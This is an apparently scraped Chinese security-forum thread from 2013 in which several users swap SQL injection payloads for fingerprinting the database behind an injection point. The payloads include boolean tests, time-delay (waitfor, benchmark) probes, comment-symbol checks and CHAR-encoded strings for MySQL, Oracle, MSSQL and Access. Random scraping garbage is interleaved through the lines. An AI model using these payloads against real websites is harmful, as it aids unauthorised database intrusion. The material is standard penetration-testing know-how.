找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2273|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库: X4 U: W6 {2 }% i0 E1 u; r+ G
xsser (十根阳具有长短!!) | 2013-02-05 12:36" F* o% U; ^9 Y, f9 s6 j- g
假设这么一个注射点:
- F+ F9 j# u8 M% y1 F8 v+ `) Hshow.html?id=2) @/ |1 V+ y/ _
mysql:id=2 and version()>0
3 @2 t: z- X9 Xoracle:id=2 and '1'||'1'='11
& x, ?" z5 u  P5 ^& k- U其他的欢迎补充' L1 p  G, D5 J! H0 e
1#5 j) A3 b: x0 p0 e, s  U
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47! Z) W* o, f% n8 c; u4 R( z
Access:' D* V1 f6 h6 k. z2 R, q5 x2 @
aNd aSc(cHr(97))=973 _' Q- X) E7 |6 f
and exists(select id from MSysAccessObjects)
" C% l- l, P$ G: r0 T! q6 `4 }* vSQL Server:2 K2 Q" i% [4 l
and exists(select id from sysobjects)
. F, G7 S. N9 e( Z5 f4 Yand length(user)>0
  j" C/ _# n) {% xMySQL:4 ~' @8 z" R9 s% p. l# j
and length(user())>0
$ a3 Q  }* K0 u  r: P  `5 m2#2 f' T: \# n' }) ]! U
xsser (十根阳具有长短!!) | 2013-02-05 12:48
* b5 }# W/ A; |; {1 O5 y! ^@upload 如果这些都不是呢…: l) ]" H% h% j2 M& U0 k: e- U
3#
. p, w3 m& T3 [upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
! X( P# j8 ^- l7 b@xsser 不快速的,延时注入2 g, S  x( H" ?6 U2 ]$ S
不知道这样写对不对
: u' W2 B. s* Y% e- P. }' Cmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
& t+ h: i& m. k" Q0 Emysql:id=2 and select benchmark(1e8,current_date());
6 c& U+ ]4 I% [& E4#
7 d( c6 x2 a, }. H/ d3 B" F9 R5 Q5 `upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
$ |  l; o9 ^; O4 P9 z& O$ @7 @5 E最快的貌似是看报错信息
5 I3 Q7 \: X; H) m, j% Z( L, k3 Coracle error* V% x& M4 x9 }6 G9 C+ z
mssql error# r- B  P, K, d  U
mysql error
3 d: [; e5 N/ i& P$ w( l. }: f5#/ ]1 D7 t: R! M- E* r/ X
Nimda (你们都是坏银~) | 2013-02-05 13:14
4 i/ t( Q& J$ W小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
$ D& ~9 i1 B- |( `6#
9 T' a6 v4 V7 }4 S/ Q, Gupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
) b" E3 z* C: n* e' R“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
6 W/ R3 Y; R# b: E9 I, y5 M  m! U“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:# x& S" K) y% w' x  n* p/ [
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。/ \) V7 A; i, r) }0 G" {
7#
6 _/ ~6 |/ Q3 X4 M( N, d" K' V_Evil (HackEnd) | 2013-02-05 13:33
8 }7 |6 {  i, F, ]6 \2 aPostgreSQL
; i: B- V4 Z& Q2 Z8#7 H! u; t* r- N1 T/ A/ g% @
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42' c4 A# H0 A. l& C
切换编码 and 1=1
& L+ u4 S# z/ G  q, H: ?3 E1 zoracle:
: \6 ~' f' j0 z5 t( P6 O3 nCHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)! B# c: r0 T0 R
mssql:
) B7 B1 @9 C' g0 g1 y4 J% oCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
1 Z1 D; C, n! m  d  e1 r8 I$ g! R5 bmysql:; u0 T- s3 C8 s# [; `2 p1 ~  }# W
CHAR(97, 110, 100, 32, 49, 61, 49)
! N+ l% A) _9 I3 K2 m3 v& x+ f9#
( n% U0 p' U+ H0 ]6 ^xsser (十根阳具有长短!!) | 2013-02-05 14:31
; V8 s& x4 H: r$ C, M7 r@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
, _0 n0 M" D8 k# F0 y10#
7 F/ d' H3 O0 |" C5 p/ {  oupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
- @/ F* }( e: V0 m@xsser 是奇葩数据库类型的么?
# l: s0 `  d& o' X$ `根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:; ~% t( [5 U, l! C; @1 U
1.是否可以使用特定的函数来判断,该数据库特有的
+ Q, Y$ F4 w" F! n. ~2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等; l) l" r/ P- V3 m9 ]  \1 D
3.是否可以编码查询
' b4 z' o6 \$ m- W) e: ]8 z7 R4.是否显可以利用错信息3 z+ y8 z: H6 J6 Q0 |$ m
5.是否存在数据库某些特性辅助判断
" j7 t0 `6 a7 `5 w3 d+ j7 i1 n个人见解. g: u; S- G& P' W
11#7 J3 L0 i6 o  Q
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:555 v/ z) B& w& M; F+ j2 g
已收藏,mssql可以直接看到错误提示的吧~* i. J/ ?* ^: G7 s# a( y6 _; }7 Z" v
12#
9 U4 p. F! ]) P) fPasser_by | 2013-02-05 15:09# Z+ I& N- S+ p( U
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。$ A0 `6 p" |& J4 A4 H- o
from:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表